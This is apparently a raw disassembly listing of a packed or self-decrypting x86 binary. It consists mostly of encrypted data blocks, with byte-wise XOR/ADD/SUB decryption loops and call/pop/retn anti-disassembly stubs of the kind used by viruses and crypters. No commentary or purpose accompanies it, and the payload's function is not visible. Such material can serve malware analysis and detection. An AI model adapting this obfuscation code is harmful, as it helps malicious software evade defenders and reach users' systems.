895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0D6E8C353h dd 7771AA30h, 4C873EAFh, 7119531h, 0E18007E9h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0FC90A1Bh, 10284h, 49B50900h, 8B07E912h, 0E90C5585h dd 0E9853307h, 6A07E91Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 5712C353h, 0F85CD7E5h dd 0DE95150h, 0F5000000h, 0FE26DA98h, 55542166h, 0A7ACF1CFh dd 2404895Fh, 0BE8h, 74238F00h, 27E64E02h, 0F8AC148Bh dd 0BB5FFB8Bh, 5B86443Ah, 0B268006Ah, 0BFC7CA10h, 538E131Bh dd 4D240481h, 6A3854F3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0C4D5C353h, 2E3CCDCDh dd 0FFDEB2Ch, 0BD33FEB7h, 7E90B75h, 2D995FFh, 816607E9h dd 89EF1FCBh, 0ECD78585h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 69C78221h dd 8BE0191Fh, 5FFC538Fh, 3591B529h, 0C2E907E9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8BDDC356h, 0ECD77D85h, 0FB8B6607h, 1800C7h dd 0BD8B0000h, 7E91A71h, 0D781B58Bh, 6A07ECh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 734AE7C3h dd 4ECA9260h, 8B8152DEh, 0E91AFDBDh, 59858B07h, 0F07E918h dd 689D9B7h, 6374B2BFh, 55858B30h, 6A07E90Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 8A1C355h, 0E87602Eh, 5AACBF3Ah, 0EF81130Bh, 2654E5F1h dd 60044689h, 8E9D98Bh, 0B7000000h, 0A7B6DD39h, 612E1F48h dd 353DBD8Bh, 0E95007E9h, 0Fh, 0DA047F3Bh, 0D6F77B6Ah dd 14ACF015h, 891AF25Fh, 43B32434h, 0D77DB5FFh, 6A07ECh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 8C4B47C3h, 73EEE72Dh, 0FE8BA144h, 4E8h, 1F03FF00h, 0FE8B6600h dd 0BE850h, 0EAC10000h, 0ED08F60Fh, 74DBD695h, 5BDE8BDAh dd 424448Bh, 5BDF8B53h, 0E860008Bh, 11h, 0F470AFA9h, 822D09A8h dd 66C935Bh, 0AF66549Ch, 586160B7h, 24448961h, 580BB304h dd 6890Fh, 0C7810000h, 69518E99h, 0B89BD8Bh, 858D07E9h dd 7ECD785h, 18B0Fh, 90F80000h, 0CE8h, 6BF66000h, 0ECAB6419h dd 741D31A8h, 58C0F54h, 0BF000000h, 78C86501h, 8BF505Bh dd 9003E720h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 15C35545h, 64EF8166h, 0FEBF0F8Eh, 2D995FFh, 0B70F07E9h dd 6A61DBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0EB5A94C3h, 0C710B373h, 0E922B185h, 307h dd 0AFBB6600h, 85BD83CBh, 7ECD7h, 13840Fh, 85010000h, 7E9126Dh dd 0EB99589h, 1DE907E9h, 8B000000h, 0C3050F9h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h ; --------------------------------------------------------------------------- loc_5DACA4: ; CODE XREF: sdfs____:005DA8B1j ; sdfs____:005DACBBj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5DACA4 jmp short loc_5DACDA ; --------------------------------------------------------------------------- loc_5DACBF: ; CODE XREF: sdfs____:005DA8BFj ; sdfs____:005DACD6j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5DACBF jmp short $+2 loc_5DACDA: ; CODE XREF: sdfs____:005DACBDj mov eax, eax xor edi, [ebp+7E93535h] jns loc_5DACEE mov ebx, [ebp+7E90F49h] loc_5DACEE: ; CODE XREF: sdfs____:005DACE2j mov ebx, [ebp+7E9319Dh] cmp dword ptr [ebp+7E922B1h], 3 jnz loc_5DB110 push 0 push edi call sub_5DAD0C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DAD0C proc near ; CODE XREF: sdfs____:005DAD04p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5DAD0C endp ; --------------------------------------------------------------------------- jno short near ptr loc_5DAD43+1 cmp dword ptr [ebp+7ECD785h], 0 jz loc_5DB110 add [ebp+7E90EB9h], edx push dword ptr [ebp+7ECD785h] push 0 push ebp call sub_5DAD42 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DAD42 proc near ; CODE XREF: sdfs____:005DAD3Ap arg_4 = dword ptr 8 pop ebp loc_5DAD43: ; CODE XREF: sdfs____:005DAD1Cj mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5DAD42 endp ; --------------------------------------------------------------------------- retf 7F8Ah ; --------------------------------------------------------------------------- db 9Dh, 33h, 66h dd 0F903E381h, 134995FFh, 3DBF07E9h, 8B3B8C6Dh, 0ECD779B5h dd 79BD3307h, 0C707E925h, 1000106h, 0FB8B6600h, 2EADBD8Bh dd 0E85007E9h, 0Bh, 37FED928h, 370DB02Dh, 5B7EF372h, 6A243489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0D307C353h, 29DFB3B0h, 21659D33h, 0B5FF07E9h dd 7ECD785h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A3C35141h, 0D70DD061h, 1AA84F34h, 95BFBF66h, 306DBD89h dd 95FF07E9h, 7E91AB1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 82C35545h, 3205BD8Bh, 0B58B07E9h, 7ECD779h dd 0CB5BD8Bh, 858B07E9h, 7E92449h, 11DB8166h, 0C48689A6h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 493BC355h, 40EC2307h, 0F17AAA6h dd 586h, 13AFBB00h, 958B2C1Bh, 7E9320Dh, 24FD9D03h, 0C28307E9h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0F55BED1Eh, 23A1BD8Bh, 508907E9h, 53006A20h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0CFE29CF4h, 40177FC4h, 858DF5DBh, 7ECECA1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 90C35747h, 630227Dh dd 65021598h, 3585BD03h, 0C38007E9h, 0B8868960h, 0FC000000h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 4230BEC3h, 85B5FF99h, 6607ECD7h, 95FFD88Bh dd 7E902CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0BAC35242h, 83E112D6h, 0E89689CBh, 0Dh, 263C05E8h dd 65D40F38h, 0EE47BF45h, 292BB93h, 505F686Ah, 96DF8B66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ACC35242h dd 0EE959h, 0C3050000h, 8BA18564h, 78C61ABEh, 0C92D4686h dd 0FFD8B70Fh, 0ECD785B5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0EBABA1A5h dd 0ACA3B982h, 0FEB8166h, 2D95FF37h, 3307E930h, 0E91825BDh dd 0C9BD8307h, 7E91Eh, 19840Fh, 50F50000h, 8B665250h, 5A310FDAh dd 24348958h, 0C28B6660h, 25419D31h, 0FF6107E9h, 0ECD785B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0EE86E57h, 9C000000h, 83A94881h, 0BB466CD3h dd 0E83462C8h, 5E8A1h, 0D2910000h, 8B73A4F8h, 0E908399Dh dd 0FF5F5B07h, 0E91F9D95h, 419D8B07h, 0FF07E919h, 0ECD785B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 9FFBB422h, 256E1F88h, 8B66EBFEh, 3995FFDAh dd 6A07E901h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 2526C355h, 5968A5A6h, 9F32B04Ch dd 83DEBF0Fh, 0E929CDBDh, 840F0207h, 45h, 1081B501h, 816607E9h dd 8B366DF3h, 0E9087585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0E3810490h dd 65529C98h, 26659589h, 0BF6607E9h, 0C66CBCh, 3CBB6600h dd 0AD85C7BAh, 7E924h, 0BF000000h, 3115BC4Ah ; --------------------------------------------------------------------------- loc_5DB110: ; CODE XREF: sdfs____:005DACFBj ; sdfs____:005DAD25j jmp near ptr dword_5D9D4C+7FFh ; --------------------------------------------------------------------------- db 0E8h, 11h, 0 dd 8A480000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 0FCC1D79h dd 689h, 830F00h, 5B000000h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 4329FC3h dd 1BE13AEFh, 0BBFB2023h, 7D13595Dh, 9E8h, 41C9700h, 0B1848A21h dd 0BB660212h, 95F5FEFh, 0E90B21B5h, 9C78107h, 29000065h dd 0E9264D8Dh, 190FBA07h, 6E90000h, 0B3000000h, 9FA3F2BEh dd 810F8BE0h, 832C09E0h, 0D6F1813Ah, 8B5ED61Eh, 0E90111B5h dd 0ABE98107h, 0BB19B750h, 56FB612Dh, 7C26C181h, 0F6811BBAh dd 5D6FDE0Ah, 8B520F89h, 0E93061B5h, 0EF815E07h, 4D0390B3h dd 21C99D29h, 0C78107E9h, 4D0390AFh, 1DFD8589h, 0EA8107E9h dd 1, 2C850Fh, 10E90000h, 0B5000000h, 1612BD91h, 866674Ch dd 0BCFE3CFDh, 0E95EDA20h, 2Eh, 2BBEAAC7h, 44C267F8h, 10007E16h dd 98CEEF98h, 8B66284Dh, 0FF73E9F3h, 1539FFFFh, 158BB6A9h dd 1BE08953h, 8372A7D0h, 362662D2h, 8D8D302Bh, 7EE7554h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 54C35343h dd 3F315ADAh, 0CB050145h, 3860Fh, 8B660000h, 0D8D89DAh dd 8B07E932h, 0E90BDDBDh, 0C28B5107h, 0E585C75Bh, 0E007E922h dd 3300005Fh, 0E92F3D85h, 0B185C707h, 7E922h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0F61C350h, 0B5FFD9B7h, 7E91735h, 0FE8h, 0B0D9C200h dd 0A01E2319h, 8EF141BEh, 84C89D32h, 0BC98D09h, 895807E9h dd 0E934DDBDh, 8595FF07h, 6A07E922h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 44B2C352h dd 101F6A86h, 6AF1BF0Fh, 3195FF00h, 8B07E90Ch, 0A40BEBC0h dd 0B556D4EAh, 0B6CE257Eh, 8D8DE952h, 7EE7621h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0AC35040h, 78DC19B3h dd 0D8D89CCh, 8907E932h, 0E908A9BDh, 58FC5207h, 22E585C7h dd 61EC07E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 7BBC67C3h, 32218D89h, 85C707E9h dd 7E922B1h, 0 ; --------------------------------------------------------------------------- or esi, [ebp+7E9167Dh] push dword ptr [ebp+7E92279h] push 0 push ebp call sub_5DB3A3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DB3A3 proc near ; CODE XREF: sdfs____:005DB39Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5DB3A3 endp ; --------------------------------------------------------------------------- db 92h dd 4D8DFFA3h, 0CF04124Bh, 8595FF36h, 0E807E922h, 5, 60EA781Ah dd 0B19589E3h, 5E07E91Dh, 95FF006Ah, 7E90C31h, 5FEBC08Bh dd 7D5B543Fh, 0ED3A33CBh, 4BF87FBFh, 2495CB1Fh, 95DA318Fh dd 36B301Dh, 8A086D24h, 225FAB5h, 8A6D3ED5h, 0F00AFA78h dd 92C12E0Bh, 0C58E9AA1h, 25CE921Ch, 0D7D8409Eh, 968FF3D9h dd 59865575h, 0C3E4CF82h, 7D7CB9B5h, 46B5AEF6h, 0E2E73112h dd 9AECFDB8h, 8F26ED6Bh, 4E027423h, 0E98B27E6h, 4, 39C4923Ch dd 510E9h, 4232D900h, 8FED01B3h, 0DAA44AE6h, 2BA9F95Bh dd 710B2E8Ah, 0EFCB6CFCh, 1183324Ah, 47F17C00h, 8B25C8B0h dd 0F99E1761h, 4EB4F4ADh, 2E5C286Eh, 0D6A04A78h, 0CDAF420Eh dd 183933Bh, 0E208A429h, 5AD8C894h, 989F88Ah, 0B305CC5h dd 9F3B0B99h, 9723037Dh, 0A825F983h, 923E584h, 0C56AC66Fh dd 97A521BBh, 14800DE5h, 1BA57903h, 14DC9CB3h, 13F371A0h dd 590BA2FCh, 0B4216C75h, 34D539F1h, 901D5FF0h, 98641624h dd 0C8B2460Eh, 0C3826E74h, 305C56E8h, 6FAC4DA7h, 84314E95h dd 73D1h, 0E309D500h, 4A6B5991h, 9844D6A0h, 0F12D0577h dd 5CC48E10h, 53FB6B30h, 5C66BEBEh, 10C16894h, 8430E1B0h dd 1CEh, 0A64A9400h, 0D67E08D4h, 0DCE63E40h, 0EE8CA014h dd 0A9FD8816h, 93EAACEEh, 0B8E8CC24h, 1224A03Ah, 220E9468h dd 8029C38Eh, 2ECDB044h, 0A5CC2B27h, 8B25C85Eh, 0D9851761h dd 0E7FD4133h, 0BC18860Bh, 0EAAAE799h, 2A305C44h, 0BC0EEA78h dd 9D5A74Ah, 3840D77Fh, 4D30C4F0h, 0C964E3D1h, 0FB4BD967h dd 8B3DDC20h, 3D9F1666h, 0BBC56B1Fh, 31CB596Bh, 27FF7D95h dd 0BD19559Dh, 3A42D79Bh, 0A66058A4h, 9E66183Eh, 19C02C04h dd 310CF8F8h, 5D7684h, 784C0000h, 0C4F3B3EEh, 871D305Ch dd 92EA0FABh, 8EF006B2h, 48F11BB6h, 7203799Ch, 0F54933C6h dd 0D94CC9D9h, 87905E26h, 5D9A3B4h, 8B5BE97Fh, 4D8E2FD3h dd 84313763h, 4383h, 0A74A2700h, 0AA4D09D5h, 7D9772D2h dd 770528DCh, 44F748E5h, 2E86067Bh, 148E305Ch, 7FC47581h dd 4A942EB3h, 9908D4A6h, 305CC53Eh, 0A452FB1Dh, 0C517970Ah dd 0ABF9305Ch, 0E0847C4Fh, 1E28430h, 0C0000000h, 0ADAA44Ah dd 57D5AC4Eh, 0B4E5E2BDh, 0D0C71FADh, 48B83FD6h, 0FAC638ADh dd 0CB2BD23Eh, 90368332h, 5C94937Ah, 0F1A0D678h, 305C7DB1h dd 73854163h, 19AF3509h, 0AF420A94h, 7DD8D8C9h, 6A38305Ch dd 0D6411CD4h, 3FFAB741h, 0F737B566h, 5F96CAAAh, 50EADD38h dd 73286121h, 63F1B328h, 6D253783h, 715B1CBh, 0E24EE775h dd 2FD62E48h, 2873286Dh, 0FF796BAh, 287C3C75h, 0E942873h dd 1A64F622h, 6113399Bh, 95170FD7h, 0A7B5015Dh, 52B209D5h dd 0A1D379ABh, 3E07E17h, 7A1CA8F5h, 2E9633BEh, 38C1ACEh dd 632A5E6Ah, 0FF3B2C79h, 15BA2h, 0A0B30000h, 0E939A537h dd 68198F6Bh, 37B59A29h, 0A3997A13h, 0FEF4FC8Eh, 0CC624E32h dd 0C6C01CB2h, 0F735752Ch, 0FE172872h, 701CA67Eh, 38D2C632h dd 0F705B73Eh, 4EDC9CB3h, 4230DAF6h, 72F74F4Fh, 46463B28h dd 0CE2872F7h, 50EAB8D4h, 72F76121h, 63F1B328h, 25C4C883h dd 35B244D1h, 9FB78D9Bh, 0ABD56753h, 0DAA2B511h, 0CE36931Eh dd 288C1A4Bh, 51h, 5D23369Eh, 73656424h, 60F6AC28h, 0BAB33A88h dd 0B5890B1Bh, 750F992Fh, 0C4E6A6DBh, 742E305Ch, 0C4EDCDBCh dd 71DDB05Ch, 0AB57A321h, 3C7C25F9h, 0D3B05CC5h, 2C210CADh dd 34940D9Fh, 0DC305CC5h, 0A1962FC6h, 0C000000h, 0CECDCB71h dd 9E5A0BD8h, 37A0B32Ch, 0A9430BA5h, 856D77CFh, 0B59409C4h dd 82FFA937h, 28739302h, 22029012h, 7BFA8496h, 0B74133D9h dd 1D49F81Eh, 0E54D97CFh, 5BFBD849h, 0A7FF2873h, 5AFDD925h dd 1739C222h, 0FF118476h, 0F680AA5Eh, 9E09247Fh, 0E48B950Ch dd 23813065h, 2D65F7C3h, 17AD710Bh, 304ABD81h, 5CFC8194h dd 0E96939F5h, 618D65FBh, 0ED7AF5B8h, 0FFAAC25Bh, 1E4314AFh dd 923AD4D2h, 5527CA7Eh, 8D65FB89h, 783632FCh, 29C4DE28h dd 2E6E23BDh, 2E189737h, 1BA975F7h, 0C3C1297Bh, 0A537A0B3h dd 8000710Bh, 90305CC5h, 0D95B4A12h, 4DA67011h, 386A384Fh dd 3742E8E4h, 0C0B1E45Bh, 286E06C0h, 0A7BB5250h, 9223B196h dd 9A6A1426h, 8567BBEBh, 0DC98BD46h, 0DE5CB400h, 4EEF1106h dd 660729ACh, 59233490h, 65172591h, 9ACE6CC8h, 9935098Bh dd 0A93B0B89h, 6BF3851Bh, 237FBBC5h, 39FA7F97h, 81B72E49h dd 0CA63F58Bh, 0F4BEE4A9h, 568A66C8h, 4A7E1F21h, 0FD5FD6A0h dd 0EEC11D5Fh, 14h, 0C5ED7830h, 0AB79D06Eh, 4024641Dh dd 0B6EC305Ch, 0CF2C820h, 0FD7A14Ah, 77CFA943h, 78C4B45Bh dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h dd 55A9D367h, 1768685Eh, 14890000h, 0E3895324h, 4C381h dd 0EB830000h, 241C8704h, 240C895Ch, 0D3E68h, 241C8900h dd 0EE769368h, 240C8B07h, 4C481h, 0EC830000h, 24248904h dd 4240481h, 5B000000h, 8904EC83h, 0C8892404h, 58084389h dd 5B2434FFh, 4C481h, 34FF0000h, 0C4835924h, 30E904h, 0D25FFFFBh dd 3382A06h, 0C89597E3h, 64884E0Ch, 7B33B828h, 0C50307EEh dd 0A58CE0FFh, 0DD805D7Dh, 0D861064Fh, 6BD7175Fh, 66383A04h dd 0C72647DBh, 0C72C6A4Dh, 9EA37C25h, 33713D53h, 826E46BEh dd 24E749A0h, 0D7592FE4h, 95313A22h, 0D0FC40ECh, 0C96405D8h dd 896C716Dh, 3CC17829h, 7CA05577h, 223B5FE5h, 676D0578h dd 65052C85h, 0C7EF0868h, 53F57604h, 4DB56A9Eh, 635B1D4Dh dd 563C7190h, 0D1BC5C7Eh, 937E3189h, 9D6E199Bh, 95565F8Eh dd 245F1932h, 0DE87E94h, 2F000000h, 322B2828h, 5E2DADB8h dd 2E2EAEA1h, 0EE9h, 120C2C00h, 0BB8E38EFh, 7524CBB0h dd 5F32428Bh, 0F510ECBAh, 0F3C7815Dh, 0E8000068h, 0Dh dd 0BF2D6DAh, 49EA5320h, 6B1BA9B0h, 0A3D5BB0Ch, 2B5B5318h dd 0BE6653C9h, 8B5BD7C6h, 81660F04h, 818B91C2h, 162055F0h dd 0D78B666Ah, 978FF081h, 66515B26h, 0A9C9C681h, 0D8C0815Ah dd 0E909B45Eh, 9, 0BC2C9971h, 0C0FE784Eh, 8A0F504Ah, 2 dd 48FDDB3h, 0DF8B660Fh, 5BD98A56h, 0F02E983h, 4949F7BFh dd 38D0Fh, 8B660000h, 0E4F981D8h, 0FFFFF97h, 0F85h, 27E9F800h dd 0C000000h, 9F2E818Ah, 81F10A85h, 0C830Fh, 7E90000h dd 1D000000h, 7E1EB9A7h, 78E90258h, 76FFFFFFh, 35551A77h dd 2ADEFD69h, 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h dd 33A9A90Bh, 5AF19826h, 6AEF5E26h, 60327100h, 0E4FFB44Eh dd 22F867A5h, 0BEA1712Dh, 0DFCC43A3h, 0BA796721h, 0DAC881A3h dd 86D71B21h, 33327108h, 33831D29h, 0B6C09826h, 3448E53Eh dd 39D61576h, 63AE765Bh, 2FCD0DD9h, 64839FCFh, 59359826h dd 291F1523h, 634A765Bh, 4EAC1DABh, 0CC039FC8h, 0DAA955B3h dd 3C149321h, 336AA1A2h, 29B01526h, 639D765Bh, 334DAACEh dd 0BEF6D826h, 0DD2EB8A3h, 0B624C821h, 343AE53Ch, 0E6FF6776h dd 0B032712Ch, 0B61794E2h, 34A3E53Ch, 39231576h, 6354765Bh dd 2FB00DD9h, 513D9FCFh, 666A9826h, 646474ADh, 4E11CE74h dd 0DA8DAB2Eh, 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h dd 3B1713EFh, 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh dd 88005AADh dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h dd 37A8517Fh, 3B881526h, 0BE9D765Bh, 0DD33A5ABh, 932021h dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h dd 3DB58DFFh, 8D07EE7Eh, 0EE7E5C8Dh, 83CF2B07h, 0C88B05E9h dd 0A4FF953Dh, 0BA65F784h, 8CE79797h, 0B265F7A4h, 0D87ABB68h dd 38171EEDh, 2B27A3F6h, 45621953h, 0BA314E44h, 3561A66Eh dd 0B4EB1E57h, 368B0F52h, 0E6AC8358h, 0E29D1901h, 8CE1462Eh dd 368B04FFh, 61756A5Dh, 3561A6FDh, 0B4EB1E57h, 368B0F52h dd 0E5DF8358h, 0E29D1901h, 0B004462Eh, 0B8669571h, 0D84DF7E0h dd 678D9FA9h, 0BA79C44Ch, 30FF356Bh, 5765F7C0h, 0F9E9C666h dd 28C3A3FEh, 35CA1953h, 32FC9A52h, 0B26D1EAEh, 31621E54h dd 0B239E7FBh, 0D8740B68h, 0B56D1EEDh, 31621E64h, 2BB79BB3h dd 4C8B19B4h, 0BA621EADh, 0D84C5BEAh, 1662A0ACh, 0E1E91CD5h dd 88589B67h, 0D8341999h, 31621EB5h, 7E8BEBA6h, 6D8B0EB9h dd 6F57BE9h, 6A05BAB7h, 0B004CE2Ah, 0B4EEC921h, 0CBE611B5h dd 5B621EBAh, 328A4C5Dh, 11621EAEh, 0B838DD0Dh, 0B0663AFFh dd 2D663A91h, 73621EEAh, 6D9CDD27h, 0DAB31EFFh, 0CD65843Dh dd 5735262Fh, 0B46DE5D6h, 31621E97h, 0AFA00E6Eh, 49E378D2h dd 3E601C71h, 3161283Eh, 6162745Dh, 31621D46h, 0F23A3E57h dd 152697F3h, 15269FD1h, 316205EEh, 0F2325E75h, 5A9F2F32h dd 0DEEBA643h, 31609DA1h, 0F9E81E57h, 0AD5A9FCDh, 0B3E711B5h dd 0BA621EEAh, 0D8468FF8h, 331A9EBDh, 43E711B5h, 5B621EAEh dd 328A4B57h, 11621EABh, 0B83FDD88h, 0B0663A86h, 29663A31h dd 74621EBAh, 0B404DD08h, 57B719B5h, 316466D6h, 77E71100h dd 51621ED5h, 0D827D06Ah, 31621E65h, 5C9A9F16h, 234BB6C9h dd 0EC209284h, 0FFFE9E26h, 33C7F7CAh, 31081ED5h, 3161F6BCh dd 6F421E75h, 45EB4079h, 75E31A79h, 31771A8Ah, 67241E57h dd 0D8B91568h, 31621ED0h, 9743D6FAh, 3062A0CCh, 8CE958BBh dd 368B0ECCh, 88589B23h, 0BCEB19BBh, 368B06F6h, 258ACE2Ah dd 80621EEAh, 512EB7AEh, 60B1888Fh, 81925777h, 25D5D678h dd 6A38636Fh, 0B56DDE2Eh, 31621CC5h, 40D797BCh, 6865F767h dd 0F0BB9FDCh, 575A9F32h, 3E601C93h, 316221D2h, 3F8BEBABh dd 73621ED5h, 1DF35C92h, 0DB682A81h, 806A54A0h, 371A9FF3h dd 4B3D23C8h, 336B9A58h, 31081EABh, 3161F683h, 6F421EEAh dd 45EB40B6h, 75E31A9Eh, 31741A79h, 67241EAEh, 17CD7194h dd 0AD5A9FCDh, 0DE711B5h, 57621EEAh, 49E2C8FEh, 0B46DF6B8h dd 31621E72h, 17778B25h, 0B00419BEh, 0F16218D3h, 317F9BDAh dd 0BCE91EEAh, 368B321Ch, 3163A853h, 37E5115Dh, 0BA621EAEh dd 0D8463FEAh, 68EF95ACh, 8F65F7C7h, 4F631FEAh, 0D9301E1Fh dd 31621EB9h, 6BA1447Dh, 35464A27h, 35465AD6h, 31621EBCh dd 0EFA14C97h, 0BC620069h, 0DDDB24F0h, 0EFDB78BDh, 0B0B2E1B0h dd 1DD0D77h, 3EA29B3Bh, 31632D2Fh, 27E611D5h, 51621EEAh dd 0D8B59513h, 31621EB6h, 2688A746h, 0B4A71FABh, 78E8FA6Fh dd 0D95A9ECAh, 31EA9BDAh, 31081EEAh, 3161F627h, 6B421EBAh dd 65EB449Eh, 75E31A8Ah, 317E1A73h, 63201EABh, 0C7EEE016h dd 0E9B27815h, 258B41B2h, 5E621EBAh, 0D3E492F3h, 94F5ED4Fh dd 1638B6D8h, 0D89C2D64h, 0B1544697h, 3E111B92h, 31625FF0h dd 0B1B295BAh, 3E311925h, 3162F02Ah, 62627457h, 31621D43h dd 0F2393ED5h, 153E97B1h, 15269F71h, 316206BEh, 0F2315D5Dh dd 47E54647h, 40EF9515h, 5765F781h, 1FC9C954h, 0A4E949B9h dd 368B3108h, 0B00441E3h, 3E679165h, 3162652Bh, 61627457h dd 31621D43h, 0F23A3ED5h, 152697B2h, 15269F71h, 316209BEh dd 0F2325E5Dh, 4644BB32h, 360BA3DCh, 49E21942h, 0B46D76D3h dd 31621EA6h, 0A44BD5FEh, 368B326Bh, 3A1A9F3Bh, 0B46D3B51h dd 31621E6Fh, 0D9341EC1h, 31621ED6h, 6FA140CAh, 35466AFCh dd 35465A3Bh, 31621E44h, 39A148E8h, 35E0F23h, 0ACFF3D18h dd 0B865F7DCh, 0D86ACB57h, 315BF772h, 0A46B1EBAh, 368B31F0h dd 31621E16h, 8F79557h, 0D865F786h, 31621E98h, 0D9301E80h dd 31621E76h, 6BA1449Ah, 35464AD4h, 35465A2Fh, 31621E4Ch dd 38A14CE9h, 9E2FB76Fh, 8935FC7Eh, 31621E74h, 0D9341ED0h dd 31621E5Eh, 6FA1408Eh, 35466ADEh, 35465A2Ah, 31621ECDh dd 27A148ACh, 0A9940115h, 8E6DC631h, 1DD34EA2h, 8A461A27h dd 42E39FACh, 4F3CA326h, 0BCEF193Bh, 368C9DECh, 57373DCDh dd 8E71DCDh, 1A65F752h, 338BDF61h, 631FEA8Fh, 301E1F4Fh dd 621EB9D9h, 0A1447D31h, 464A276Bh, 465AD635h, 0F305E983h dd 80F558A4h, 0C00BEDD2h, 64840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3EBE47C3h dd 89B72380h, 0A18D8B1Ch, 8D07E919h, 0E94D5AB5h, 0F1958B07h dd 0B807E91Fh, 3, 0C4D38166h, 6AE6FFEFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CD14C352h dd 29BEB81Dh, 0BA40F558h, 7119F4CCh, 0E9C08BF8h, 0Ah, 0A1A17BACh dd 6A5E748Fh, 8166C1C7h, 833C55F1h, 0E918A5BDh, 9750007h dd 1A45BD83h, 740007E9h, 8B535019h, 403B8C0h, 85890000h dd 7E920F5h, 0D8359D8Dh, 0D3FF07EBh, 0BD83585Bh, 7E91A45h dd 50177400h, 403B853h, 85890000h, 7E920F5h, 0D4D69D8Dh dd 0D3FF07EBh, 6A585Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 505AD3C3h, 3D7627Dh, 0E9F2F870h dd 0Eh, 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 0FD8A3BBDh dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0A8440CC3h, 0C8F5F839h, 8D61E56Ch, 0EE85568Dh dd 7E907h, 0C80C0000h, 6027451Dh, 0D8D8906h, 0E907E932h dd 10h, 0B138289Fh, 728ADFFEh, 92B23FE8h, 92685834h, 22E585C7h dd 59C407E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 2ADD05C3h, 0D6B4AFEDh, 13E924h dd 0C1660000h, 0C091AE9Ah, 0D3C5A67h, 2479F50Bh, 5E7B73B3h dd 0B185C7A7h, 7E922h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 7330C350h dd 0B5FF32E6h, 7E9170Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 